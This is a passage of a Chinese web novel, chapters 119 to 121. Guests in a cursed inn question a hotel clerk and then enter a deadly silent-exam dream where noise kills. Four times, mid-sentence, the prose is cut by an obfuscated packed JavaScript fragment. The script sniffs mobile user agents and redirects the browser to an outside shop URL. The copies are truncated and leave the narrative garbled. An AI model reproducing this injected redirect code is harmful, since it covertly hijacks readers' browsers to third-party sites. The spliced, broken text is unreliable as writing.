“我可以帮忙想办法对付恶灵,至于记忆之门,就怕大家会觉得不公平……”俞小澄欲言而止,冲陈奇使了使眼色。 陈奇心领神会,清了清嗓子,开始他危言耸听的伎俩:“呵,如果不怕小俞妹子找到记忆之门自己跑了,你们大可放心交给她,谁让记忆之门一次只能放一人离开呢!我昨晚就是慢了一步,让人将门夺了去,哎,人心叵测!” 果然,先前还围着俞小澄不放的人,陆续打起退堂鼓。 网红眼珠子一转,立刻体贴地说:“是我疏忽了,怎么能将麻烦事全交给大佬呢,我也会帮忙的。” 女初中生和美女企业家见捞不到好处,便也默不作声地散去。 单浩言、章锐和武明也没了兴致,结伴前去用餐。 这场风波总算暂时停歇,俞小澄面前只余下一脸奸笑的陈奇。 “小俞妹子,我帮你赶走麻烦,你是不是也该帮帮我? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057635|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 像陈奇这种趋利避害的人,当他出现帮忙打圆场,俞小澄就预感到肯定没什么好事,果不其然,陈奇自己开了口,想向俞小澄收取帮忙的报酬。 俞小澄无奈叹了口气,问他究竟想做什么。 陈奇眼中闪过精明的光,笑道:“对小俞妹子来说不是难事,你我合作,下回找到记忆之门,先让我离开如何?” 俞小澄反问:“你不怕我跟禾苒一样,出尔反尔?” 陈奇竖起食指在俞小澄面前晃了晃:“不不不,小俞妹子的人品我一向信得过。” 俞小澄有些哭笑不得,摇了摇头:“可惜,你来晚了,我已经答应今晚送我学弟离开这里,你的事,恐怕得往后稍稍。” 陈奇表情一僵,扭头看了一眼身旁的吴樊祐,见此刻吴樊祐正笑眯眯地盯着自己,那笑容让人有种毛骨悚然的感觉。 “咳,原来是吴哥要走啊,挺好的,我同意,没问题,哈哈哈……” 陈奇的笑声有些不走心,但俞小澄从他眼神中看出,他是真的宁愿吴樊祐赶紧离开。毕竟,整个穷途旅店中他最疲于应付的人就是吴樊祐,先送走此人,对他是好事。 “捣乱的人已经不在了,今晚小俞妹子可以跟我一起抢占雏菊房,我们可以互相帮助嘛!”陈奇说话间,偷偷瞥了一眼餐厅内的其他人,似乎在嘲笑着他人的无知。 俞小澄心中犹豫,转头看了看吴樊祐,只见他神情淡然,竟没提出异议,这让俞小澄感觉有些奇怪。 俞小澄暂且应下了陈奇的邀约,随即拉上吴樊祐坐到了白羽楠和方英彦那一桌。 前去选菜品时,俞小澄偷偷问吴樊祐,为何没有反对与陈奇的合作,以前陈奇提出合作时,他一向不愿,今天的反应实在不太一样。 吴樊祐神色无异,轻描淡写道:“合作与否,与谁合作,这些不都该学姐说了算吗?反正我今晚都要离开了,以后也管不了学姐了不是?” 俞小澄被这话噎得一句反驳的话都说不出来,莫名有种吴樊祐在故意气自己的错觉。 “对不起啊小澄姐。”当俞小澄坐到白羽楠身旁时,白羽楠一脸抱歉,“我没想到消息能传得人尽皆知。” “没关系,嘴大的也不是你。”俞小澄说着瞪了一眼方英彦。 而作为始作俑者的大明星,明显没意识到给别人惹了多大麻烦,还若无其事地说:“我仔细想了想,其实这里环境还不错,我就当出来度个假,也不用这么着急回去。” “哦,回去工作也挺辛苦的,没事,你在这儿休息几天也可以。”白羽楠随声附和。 俞小澄用手肘戳了戳白羽楠,实在有些看不下去,带着些许目的性说道:“方先生还挺大方,自己决定住几天,倒愿意将如何离开的消息分享出去。” 方英彦将额头的碎发往后面捋了捋,故作潇洒地说道:“那个夏芹芹,也说是我粉丝,我最见不得粉丝受苦,所以才……呵呵,你们能理解我的心情吧?” “是么?我好像跟你说过,通过记忆之门有风险,你不怕粉丝遇险?”俞小澄很是讨厌这个言行不一的伪君子。 见方英彦面露吃惊的表情,俞小澄感觉有些做作,也许,他之所以将消息散播出去,根本就是为了找人做实验。 当然,这只是俞小澄心中阴暗的揣测罢了。 119. 阴云 穷途旅店中失去热衷于主导的人后,新来的住客无比闲散,似乎都未将夜晚的梦境当做危机来应对。 对他们来说,这或许就是一场游戏,一场寻找出口的游戏。 并且这四人都有一种莫名的自信,兴许在现实中,他们都是天之骄子,生活始终一帆风顺,所以觉得不管遇到什么都能迎刃而解。 因此,当前台开启时,这几人漠不关心,留在三楼休息活动区,叫上单浩言三人,组织了一场牌局。 说起单浩言、章锐和武明,见识过昨晚的险境后,虽不敢松懈,可手上仅有一个金币的他们并不舍得将这枚金币用来提问。 再说,他们自认为已经从俞小澄等人口中打听到了足够的信息,于是下意识地觉得,兑换道具才是突破梦境的关键。兴许再攒上几日,便可换一件厉害的道具。 如此说服自己,便欣然加入了新人的娱乐局,借此放松过于紧张的神经。 在旅店停留的时间渐长,像陈奇这种老手也逐渐失去了耐心,上次与禾苒联手,他本以为自己可以就此离开这个鬼地方,没想到被人从背后横插一刀。 如今他也没有心思笼络新人,只想抢下雏菊再苟上一日,如果运气好,说不定能独自找到记忆之门逃跑,就算失败,也还能指望俞小澄。 故而,陈奇也未出现在大厅, 今日的大厅内异常冷清,只有俞小澄、吴樊祐和白羽楠站在柜台前,盯着一身正装的女客服,听她报出一成不变的开场白: “各位贵宾下午好,一号客服为您服务,兑换道具盲盒靠右,咨询客服靠左,请排队等候。” 俞小澄递上金币,咨询起自己事先想好的问题。 其实大多问题的答案,她已了然于心,不过为了验证自己的猜想,还是选择了直接提问的方式。 俞小澄:“禾苒是否通过了记忆之门的验证?” 一号客服:“很遗憾,住客禾苒验证不合格,已抹除。” 与她预想的一样,他们这些被认定为有罪的住客,怎会那么轻易逃离呢? 俞小澄转过头,默不作声地望着吴樊祐,很想劝吴樊祐重新考虑一下,可是判人有罪的话她实在说不出口。 吴樊祐一脸不解地冲她眨了眨眼睛,随后动作微微停滞,似乎从俞小澄的表情读懂了什么。 他抬起手指抵住俞小澄的眉心,将她的脸转回原处,附身在她耳边轻声说道:“赶紧问完问题去休息,别想这些没用的。” 俞小澄颓然垂下头,无奈地转入下一个问题。 “请问昨晚将我锁在餐厅的人是谁?” 一号客服:“住客萧莹。” 答案果然与她们预想的一样。 在离开餐厅时,俞小澄和白羽楠特意观察了餐厅门锁的构造。令她们意外的是,餐厅的玻璃门上采用的电磁锁,一直保持着断电状态。 俞小澄和白羽楠试了几次,关上门并不会上锁,那么昨晚萧莹又是如何将门锁上的呢? 而且,当时俞小澄和白羽楠都推不开的门,吴樊祐轻轻一推就打开了,若说是错觉,只她一人还说得过去,两个人同时产生错觉的几率,怎么说也不高才对。 俞小澄百思不得其解,随即又问:“为何萧莹能够锁上餐厅大门?” 一号客服闭上了眼,就像等待终端回应的机器人,片刻后,睁开眼睛答道:“我没有权限回答这个问题。” 俞小澄感觉每当要触及一些关键问题时,客服总会以没有权限为由,拒绝给出答案。 无奈浪费一个金币,俞小澄继续询问别的问题—— “恶灵离开旅店的条件,是否是杀死进入梦境的住客?” 昨天听说张尧未能通过验证,并且验证失败的人会变为恶灵时,她就想过这个问题。只是因为当时担心别人意识到她杀了住客,所以没敢追问。 如今之所以问出,她觉得自己或许有些私心,想要借此安慰自己。 她之所以杀死恶灵,仅仅是为了活命,而且恶灵的目的就是杀死玩家,她没有道理束手就擒。 一号客服语调毫无起伏:“不是,恶灵只有放下执念或者被消灭,才能迎来最后一次离开的机会。” 一号客服的这句话,比俞小澄预想的更能安抚心中愧疚。 俞小澄的眼睛里不由得亮了起来,那种压在肩上沉甸甸的罪恶感,在此时似乎得到了消解。 “那被吞噬的恶灵也是一样吗?”俞小澄欣喜地追问道。 一号客服的表情难得有了一丝变化,似乎对有人问出这样的问题感到意外,可这样的情绪只持续了一瞬,下一秒,她又平静地答道:“如果您指的吞噬,是旅店管理者的指令,那么,抱歉,恶灵将不复存在,不会给予离开的机会。” 俞小澄刚转喜的脸立马晴转阴,愕然地望着一号客服,声音不再自信:“是否有道具可以吞噬恶灵?” 一号客服:“道具只能在梦境中消灭恶灵,并没有吞噬的功能。” 招财进宝到底是什么? 俞小澄在这一瞬间,整个人陷入混沌之中。 在这间古怪的旅店之中,似乎藏着许多超自然的秘密,但无论她如何努力想要拨开迷雾,已经身在迷雾之中的她始终难以寻得出路,自然也难以窥见旅店的真实面目。 手中的金币已经用尽,可脑中的疑问似乎未减几分。 之后,白羽楠兑换了一个道具盲盒,打开发现里面放着一件黑色雨衣。 “这是什么?梦中有雨?” 白羽楠将那件雨衣翻来覆去察看一番,并未找出任何提示信息,只能暂且叠好收纳。 白羽楠将东西攥在手心,忽然想起什么,又对俞小澄说:“小澄姐,今晚可不可以让我偶像跟我们进同一梦境?我答应带他过第一个梦境,熟悉熟悉环境。” 俞小澄还未开口,吴樊祐先不客气地开了口:“每晚梦境都不一样,有啥需要熟悉的?照这种说法,今后每天都可以叫你带他熟悉环境。” “我问小澄姐,又没问你。”白羽楠狠狠瞪了吴樊祐一眼,一脸的不高兴。 俞小澄征求意见一般望向吴樊祐,问:“你不同意?” 吴樊祐却又一脸无所谓,耸了耸肩,道:“同意啊,干嘛不同意,我还想看看那家伙能撑几天呐!” “你有看热闹的闲心,不如早点拿下雏菊房卡,我们也好快点送你离开这里!”白羽楠回怼了一句。 吴樊祐脸上流露出一丝意义不明的笑,有些瘆人:“那要看有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077210|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有这个选项。” 今日俞小澄感觉眼皮跳个不停,心中的不安始终挥散不去,她不断安慰自己,只是想多了而已,却又忍不住往坏的方向发散。 白羽楠并没有她这样的烦恼,在她看来,吴樊祐这个人单纯就爱与人作对,话锋一转,对吴樊祐说道:“不管有啥选项,晚上让他跟你一个房间。” 吴樊祐一脸嫌弃:“休想,你怎么不让他跟你住!” “你觉得合适吗?!”白羽楠气得够呛。 “我觉得合适,学姐可以跟我同住,不打扰你们。”吴樊祐装出一副善解人意的模样。 “你休想!”白羽楠挽住俞小澄的胳膊就往楼上走去,一边走还一边不客气地说道,“哼,我可以去找陈奇商量。” 这件事,陈奇自然不会拒绝,终究他的目的也是等待离开旅店的时机,在他眼中,带一个炮灰何乐不为,于是陈奇欣然答应。 只是此时所有人都还不知道,当夜晚来临时,旅店又开始作妖,如同张着血盆大口的怪物,想要将所有住客吞噬。 当钟声敲响第九下,住客们齐聚在大厅,围站在柜台前,一脸震惊。 就连准备好第一时间抢下三张雏菊房卡的陈奇都愣了神,面上露出惊恐的神情。 “这……是什么意思?” “不是说可以自己挑选房间吗?” “难道是要我们挑房号?” “卡上画的是什么呀?冬日梅花?” …… 新人们围着清一色的房卡七嘴八舌,有经验的老手却是个个沉默。 “你们遇到过这种情况吗?”单浩言脸色发白,眼中惊慌之色藏都藏不住。 “清一色的幽兰的确见过,可这……”白羽楠简直不敢相信自己看到了什么。 “喂,我记得勇哥说过,箭竹往上的房型最好都别选,可这房卡上画的明显是梅花吧!”章锐神情紧张,手足无措。 “白雪寒梅,这些新人的运气还真是不错,一来就撞上难度最高的梦境。”吴樊祐又开始说起了风凉话。 此话一出,几乎所有人都崩溃了。 新人慌张地追问着寒梅梦境到底是怎么个困难法,唯一看见过别人进入寒梅梦境的陈奇,脸上已经没有了血色,嘴唇颤抖着开口,只艰难地抖出四个字:“无、人、生、还。” 大厅内瞬间陷入一片死寂。 过了许久也不见有人行动,吴樊祐漫不经心地上前拿起两张房卡,无视众人的目光,缓缓走回俞小澄身旁,将其中一张房卡塞进了俞小澄手里。 “就算是寒梅,不也得面对么?如果你不能证明应付得了寒梅梦境,我怎么放心留你一人在这里?” 吴樊祐说话时,笑容和煦得如同朝阳,可话中的内容却让俞小澄感觉不到一丝温度,她只是不解地望着吴樊祐,强忍着心中难以消化的疑惑。 是你更换了房型吗? 不对,你一直跟我在一起,哪有机会…… 而且你也没有那么多金币啊…… 兴许是感受到俞小澄目光的焦灼,吴樊祐朝她微微一笑,纤长的手指轻轻抚上她的眉头,沿着她眉形划出一道弧线。 “学姐又在想什么,不必担心,很快就会结束了。” 120. 梦境(五) 这天夜里,当俞小澄醒来时,发现自己正趴在桌子上。 她似乎身处一间敞亮的教室里,最前方是讲台,整个房间成阶梯式,摆满了一排排长桌和座椅。 此时,教室中坐满了人,约有百人。 俞小澄东张西望,试图在人群中寻找熟悉的身影,一转头却吓了一跳,只见身侧两边坐着的人全都没有脸,顶着着一张没有五官的脸皮直愣愣地面向讲台。 俞小澄只能从他们的穿着与发型简单判断出男女,至于是什么人,根本看不出来。 俞小澄只觉汗毛倒竖,下意识地用双手摸了摸手臂,抚平那一身鸡皮疙瘩,还有心中的恐惧。 尽力无视这些无脸的人,她在人群中搜索着吴樊祐和白羽楠,好在要在一群无脸的人中寻找有脸的人,算不上难事。 很快,她便发现,所有住客都分散坐在这些无脸人之中,与她一样,对身旁的诡异场景表现出惊诧与畏惧,然后四处搜寻着同行人的身影。似乎只要大家处境相同,多少还是能起到点安慰作用。 不过,未等他们相互招呼重聚,教室的大门突然被人推开,进来的人同样没有脸,但是穿着明显成熟许多,看上去更像是老师。 我们这是要上课吗? 俞小澄不由得在心中暗自猜测。 很快,她便从那名“老师”的口中知道了答案。 只见那人昂首挺胸走上讲台,手掌用力拍了拍讲台桌子,引得全场瞩目,他才开口:“大家好,我是监考官一号,接下来的几天里,我将与我的同事一起,负责大家的考试!接下来,我将为大家宣讲考场纪律,请各位考生仔细聆听。” 在俞小澄还未完全消化这梦境的离奇,监考官一号便滔滔不绝地介绍起考场规则来。 这场考试为期六天,参加考试的考生总共有一百人,所有人会同时进入考场,参与各类考试,决出最优秀的学生。 考试安排如下: (一)每日安排上下午两场考试,上午9点到11点,下午14点到16点。 (二)请提前前往考场,考试迟到者直接剥夺考生资格。 (三)一日三餐均在食堂解决,用餐开始时间固定在早上7点、中午12点和下午18点。 (四)晚上20点到21点有一小时的自习时间,考生必须前往自习室。 (五)自习结束后便可返回宿舍休息。 这些规则听上去十分寻常,俞小澄一时摸不清这梦境到底有什么陷阱,难道真要他们做六天考题? “第一场考试即将开始,请各位考试即刻前往考场,注意,必须严格遵守考场纪律,否则,将彻底失去考试资格,预祝各位考生取得好成绩!” 监考官一号说完最后一句话,自顾自地转身离开了教室。 随着他的话音落下,那些无脸的考生纷纷起身,陆续向门外走去。 俞小澄正欲起身,招财进宝迎面飞了过来,再见招财,俞小澄心中欣喜不已。 招财哭诉自己跟了俞小澄一天,却被俞小澄无视,又愤然痛斥禾苒与陈奇的无耻,简单讲了自己无奈跟着禾苒进入梦境的经历。 他说的故事基本与陈奇交代的一致。 禾苒本想借招财之力对付恶灵,结果看不到招财,最终还是得靠陈奇的道具。不过她一手好算盘把陈奇骗得很惨,不仅夺走了记忆之门,还害死了陈奇唯一的小跟班叶思远。 “可惜她最终也没能离开旅店。”俞小澄轻轻叹了一口气。 “活该,她那样的人,就该一辈子困在旅店里!”招财鼓着腮帮子,撅着嘴,心里还不解恨,忽而话锋一转,“对了,我没在,姐姐让进宝附身了?” 俞小澄老实地点了点头,招财一脸严肃地告诫:“姐姐最好当心些,进宝她容易失控。” 二人同时望向进宝,只见后者一副睡眼惺忪的模样,似乎有些打不起精神。 “进宝没事吧?”俞小澄问。 招财摆了摆手,语气轻松地回道:“没事,不用担心,她这是饱困。”说罢,招财便将进宝背了起来,催着俞小澄赶紧去参加考试。 俞小澄这才回过神来,眼见其他住客已经往教室大门汇聚,自己也忙不迭地往门边赶去。 十一人齐聚,面色大多凝重至极。 “什么鬼?考啥试啊?学校学的东西我早就忘光了……这还咋考?!”章锐咋咋呼呼地叫起来。 单浩言瞪了他一眼,低声骂道:“行了,这里除了倪诗语,谁还跟考试能沾上半点关系,心烦的也不止你一人。” 章锐被回怼得没脾气,跺脚抱臂,气呼呼地噤了声。 倪诗语有些紧张:“我才上初中,这成人考试我可不在行……” 方英彦也不知道是天生乐观,还是人没脑子,笑嘻嘻地安慰:“不就是个考试嘛,我们这么多人,还能怕它不成。” “行了,你们要讨论就留下慢慢讨论,麻烦让条道,考试迟到好像要被剥夺考试资格。” 吴樊祐亮出手腕上的手表,现在时间已经来到8点50分。 如果他们不快些离开教室,还不知道失去考试资格会发生什么事。 这下,在场众人不敢再啰嗦,小心翼翼地排着队走出了教室。 教室外连着一条长长的走廊,格栅灯一路往前延伸,亮白的光将走廊照得清冷一片。 走廊两侧的墙壁上张贴着一张张光荣榜,抬头红底上写着“优秀学生光荣榜”七个大字,下面则是密密麻麻的照片,照片上的人同样没有脸,看上去有些瘆人。 大家不敢多看,大步迈着步子往前走去,总觉得这重复的光荣榜有些诡异,唯恐下一秒墙上的照片会生出什么吓人的东西。 无脸考生的身影消失在尽头的大门,走廊中回响着十一人杂乱的脚步声,听得人心神不宁。 好在一路无事发生,一行人终于来到了尽头的房间。 俞小澄转头往回看去,只见来时的教室已经消失,身后是没有尽头的走廊,一眼望不到边。 跟随其他人踏入房间,这是一个比方才的教室还要宽敞的房间,里面整齐地摆着一张张桌椅,前后左右距离很宽。 四周没有窗户,头顶同样是泛着冷光的格栅灯。 等到所有人进入房间,身后的大门随即消失,四面白墙将屋里的人包围。 一排排桌椅前,同样有一个升高的讲台,讲台上站着两个监考官模样的人,房间四角还各站了两人,加起来一共十人。 讲台后的白墙上有一块巨型黑板,黑板上用红色的油漆刷出两个字——安静。 方才宣讲考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13093136|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场纪律的监考官一号再次拍了拍讲台桌子,随后用手指了指黑板上方的电子计时器,此刻红色的数字正定格在“02:00:00”。 “各位考生,请就座,考试即将开始。” 无脸考生缓缓挪步到一排排座椅间,开始挑选起看上去更合眼缘的位子。 俞小澄看了看手表,拉上白羽楠,招呼吴樊祐和方英彦,径直往考场最后一排的位置走去。 她选择了右边靠墙壁的位子,而白羽楠坐在她前面。吴樊祐坐到了她左手边的位子,前面的位子则留给了方英彦。 俞小澄刚立在桌旁,就发现考桌左上角镶着一个小小的电子显示屏,上面的数字不停在变动,时大时小。 俞小澄一时不知显示屏上的数字究竟是何用意,没有多想,拉开座椅坐到位子上。 就在她拉开座椅时,随着铁制座椅在地上摩擦出一声刺耳的响声,俞小澄余光瞥见显示屏数字极速飙升,并且伴随着红光闪烁。直到她坐下,数字逐渐降了回去,闪屏也随之消失。 一瞬间,俞小澄忽然明白了这个显示屏的意义,原来,这是一个分贝仪,可以测量周围的噪声。 为了印证自己的猜想,俞小澄看着显示屏咳嗽两声,果然,显示屏上的数字随之变化。 并且,在多番验证下,她发现只要显示屏上数值超过70分贝,便会出现红光闪屏,仿佛是一种警示。 弄清了一个问题让俞小澄心情大好,可随即隐隐不安感侵袭。 为何考场中会出现这种东西? 它的出现不可能毫无意义! 时间一点点过去,俞小澄的视线环视一周,监考官们犹如一个个兵俑,站立在考场内一声不吭,大多数考生已经就位,还有少部分围在一处窃窃私语,又或者为了争抢位子互不相让。 最后,俞小澄的视线停留在黑板上红漆刷上的“安静”二字。 就算梦境如何离谱,为何非要用红漆在黑板上留下这两个字呢? 再看看手表,距离开考还剩一分钟。 此时章锐还在跟无脸考生争抢着靠边的位子,单浩言、舒瑾和夏芹芹则聚在一起商量着什么。 俞小澄心中莫名地焦急,便高声提醒了一句:“考试时间要到了,赶紧坐下!” 她刚吼了一句,便立即收获了几个白眼。 陈奇急冲冲地跑到她附近,一边拉开白羽楠前面的座椅坐下,一边回过头问俞小澄:“小俞妹子,你发现什么线索了吗?” 俞小澄摇了摇头,对这场考试究竟要考什么暂时还无头绪,只是用手指轻轻点了点桌面上的显示屏,道:“这是分贝仪,不知道有什么用,但是得小心。” 忽然一声电铃响起,监考官一号拍了拍手,提醒:“本场考试现在开始!” 话音刚落,只见原本定格的计时器开始倒计时,想来应该是本场考试的时长。 与章锐争位子的无脸考生终于拗不过章锐,无奈地将靠墙的座位让给了章锐;单浩言三人也总算停止了交谈,单浩言将前排两个位子留给两位女士,自己则绅士地往最后排的空位走去。 可是下一秒,意外就发生了。 舒瑾刚刚抽出座椅,便仿佛触电了一般浑身僵硬抽搐,然后直挺挺地倒在了地上,吓得一旁的夏芹芹惊声尖叫。 121. 梦境(五) 虽然最后一排距离第一排很远,但俞小澄还是隐约看到从桌子上蹦出的电火花,这不禁让俞小澄浑身肌肉一紧,双手远离了桌面。 在场考试全都愣住,不知道究竟发生了何事,呆呆地望向人影倒地的方向,或许在等待那人从地上爬起。 然而下一秒,消失的大门出现,距离大门最近的两个监考官上前将地上的人抬起,顺势往门外一扔,大门至此再次消失,而那两个监考官仿佛什么事都没有发生,回到了原本位置。 一直站在最近处目睹了一切的夏芹芹难掩震惊的情绪,她捂着嘴,浑身颤抖着盯着监考官。 方才还在往最后排走的单浩言也是一副难以置信的神情,后知后觉地往前排走去,看样子像是要质问监考官这究竟是怎么一回事。 监考官一号一掌拍在黑板上,语气平静:“请还未找到位子的考生赶紧就位,否则,将取消考试资格,10、9、8……” 突如其来的倒计时,让还未就位的人心头一紧,夏芹芹下意识地抽动座椅,随着一声熟悉的铁制品摩擦地面发出的刺耳响声,和舒瑾一样,夏芹芹浑身僵硬,身子不自然地抽搐起来,没过几秒,人就倒在地上没了气息。 还未入座的单浩言和章锐手刚刚握住座椅的椅背,此刻根本不敢动弹,现在谁都明白,抽动座椅,他们俩都会没命! “啧,说了要准守考场纪律,怎么总有人犯蠢,清理一下。”监考官抱怨的声音响起,紧接着夏芹芹的尸体也被扔出了考场。 监考官一号随即又转向考场内站着的两人,问:“怎么?你们俩不坐吗?” 单浩言与章锐相视一眼,心有余悸,站在位子上没有动,不知所措地摇了摇头。 开场短短一分钟,就有两人出局,这难道就是寒梅梦境给他们的下马威? 俞小澄紧张地看向未能落座的二人,担心这样也会触发某种考场禁忌。 不过,她害怕的事情并没有发生,监考官一号看到二人摇头后,没有一点反应,只是向四周的监考官点头示意,然后十位监考官从不同方向开始分发起试卷与笔。 一切看上去又回到了考试的正轨,方才发生的一切仿佛是考前微不足道的小插曲。 俞小澄在脑子里向招财发送指令,让他到考场外看看两个女生是否还活着。 招财点头同意,闪身穿过了墙壁。 靠近俞小澄的两个监考官走了过来,将一卷试题和一支按压式中性笔放到了俞小澄桌上,然后继续往前派发而去。 俞小澄看了看试题,上面印着生涩难懂的数学题,看得俞小澄脑子嗡嗡作响。 她没想到是这么正经的数学考试,上面的题她是一道都做不出,上面的汉字她虽然都认识,可组合到一起,都成了她难以消化的外星语。 心中正犯难,耳边传来几声“咔哒”的脆响,俞小澄倏然一阵心悸,接着便听见了桌椅撞击的声响,有三个人影应声倒地,顺带弄翻了桌椅,那声音大得吸引了所有考生的注意。 考场内的沉默震耳欲聋,大家似乎都开始意识到正在发生的是怎么一回事。 俞小澄的视线停留在了黑板上,那两个鲜红的大字仿佛渗出血液,试图将整个考场里的考生淹没吞噬。 安静,从一开始,考场就给出了属于它的纪律,不遵守考场纪律的人,将彻底失去考试资格。 穿墙而出的招财回到了考场,愁容满面地朝俞小澄摇了摇头:“没气了,这会儿尸体都消失了。” 俞小澄本就不抱希望,这会儿稍稍悬着的心彻底死了,这就是寒梅梦境,它平等地想要所有玩家的性命。俞小澄不禁好奇起这位造梦者究竟是怎样一个人,能如此不留余地。 视线落回到试卷和那支中性笔上,显然这种按压式中性笔就是设计好的陷阱。 这是一场需要保持安静的考试,只要发出的噪音超过一定分贝,那这位考生便会被踢出局,并献上自己宝贵的生命。 至于这个噪声,如今死了五人,两位住客,三位无脸考生,从发生的事可以推断出,噪声的计算是独立的,并非整个考场共享。 最开始,舒瑾因挪动座椅超过了噪声允许范围,从而受到电击致死,可当她倒地事,夏芹芹发出的尖叫声显然比座椅发出的噪声还大,可夏芹芹并没有出事。 所以,俞小澄一开始并没有往这方面想,而觉得舒瑾大概是触碰到别的什么禁制。 直到监考官提醒未就位的人员回到位子,然后夏芹芹因为倒数慌了神,犯了与舒瑾一样的错,从而丢了小命。 这个时候,俞小澄才意识到一个问题,他们的噪音是绑定座位计算的,从选定桌椅开始生效。 再加上中性笔设下的陷阱,俞小澄不由得怀疑起整个阴谋的推动者——监考官一号。 是啊,如果问这场梦境谁最有可能是那个恶灵,那一定是监考官最可疑。 毕竟,恶灵会将自己置于危险境地吗? 俞小澄相信没有这么傻的恶灵。 那么将自己放在监考官之列,即可操控全局,又可以近距离欣赏玩家违反规则而死去。 如此思索一番,俞小澄愈发肯定了恶灵的身份。 白羽楠小心翼翼地转过头来,只见她面色煞白,刚想要说什么,俞小澄将手指抵在唇上,冲她做了个噤声的动作,白羽楠意会地点了点头,用手指了指桌上的分贝仪,表明自己心中已然明了。 “现在该怎么办?”白羽楠嘴唇起合,发出细微的声音,并随时关注着自己桌上的分贝数据。 俞小澄看着试卷也很头疼,笔的问题其实还是能解决,比如直接将笔芯拆出来,那么还是勉强能用来答题,可最大的问题并不在笔,而是这些数学题本身,俞小澄是真的一道都做不出。 思考片刻,俞小澄缓缓举起手来。 监考官一号很快注意到她,并且向她走了过来。 这些人都没有脸,俞小澄很难从他们的表情中读取到隐藏的信息,但总不能什么都不做,干着急。 “你有什么问题?”监考官一号平静地问道。 俞小澄不敢放开声音,只能尽量减少声音共振,而只让气息通过声带和口腔,传出微弱的气声: “请问,考试成绩会产生什么影响?” 监考官一号道:“我们要评选最优秀的学生,成绩不合格自然应该接受惩罚。” “不合格具体是什么标准?” 俞小澄继续追问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113630|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与监考官的自在不同,她必须随时留意自己发生的声量,因此看上去有些三心二意。 监考官抬手摸了摸下巴,仰起头思索了片刻,随即答道:“嗯……标准就是严格准守考场纪律。” 说罢又问俞小澄还有没有其他的问题,俞小澄摇了摇头,却已了然于心。 如果考核的标准只是由遵守考场纪律决定,那么这些考试的考题其实根本就不在试卷上,所以,做与不做应该都没有太大关系,反正不会成为违规受罚的理由。 想到这一层,俞小澄顿时松了一口气,悄声将消息传递给了白羽楠。 这场考试,她们只要控制不发出超标的噪音,便可以顺利通过考试。 白羽楠小心撕下试卷一角,取出中性笔的笔芯,将消息写在纸条上,然后递给了方英彦。 坐在白羽楠前方的陈奇,显然听到了监考官的回话,估计也已经明白这场考试的目的,此刻也一脸淡定地坐在位子上,根本没有动笔的想法。 俞小澄本想提醒吴樊祐,可转过头看去,只见左手位子上的人不知何时已经趴在桌子上睡去,俨然一副局外人的松弛状态,令俞小澄不得不佩服他的心大。 考场内唯一站着的两个人,单浩言和章锐,此时站在位子上动作放得格外轻,显然也明白了保持安静的重要性。 不过对于答题这件事,他们似乎并不敢大意,和俞小澄的想法一样,拆出笔芯,一脸认真地答题。 当然,真正答题的是单浩言,章锐全程等着单浩言比划答案。 至于倪诗语和武明,他们坐的位置距离俞小澄实在太远,俞小澄根本顾不上他们,只能祈祷他们自己看破了这场考试的真意。 俞小澄学着吴樊祐的样子,侧着脑袋,枕着手臂,安静地等待着考试结束。 开场牺牲了两人,换来了对规则的掌控,这样的牺牲未免大了些。 可如果危险就此结束,就此安稳迎来故事的终结,俞小澄尚能认为自己可以勉强应付寒梅梦境。 然而,寒梅梦境似乎无法忍受被人小看,拼了命地想证明自己的难度,很快就给考场增加了新的要素。 就在所有人都沉浸在或做题或睡觉或发呆之中时,考场里的灯忽然全部熄灭了。 在这密闭的空间里一旦失去光源,那便会陷入彻底的黑暗之中,甚至麻痹所有的感官。 俞小澄陡然心跳加快,感觉身后凉风阵阵,不知道接下来会发生什么。 她一只手握着笔做武器,一只手捂住嘴巴防止自己不小心发出超标的噪音,瞪大了眼睛观察着四周。 虽然在漆黑一片之中什么也看不见,但她能依稀感觉空气中的躁动与不安。 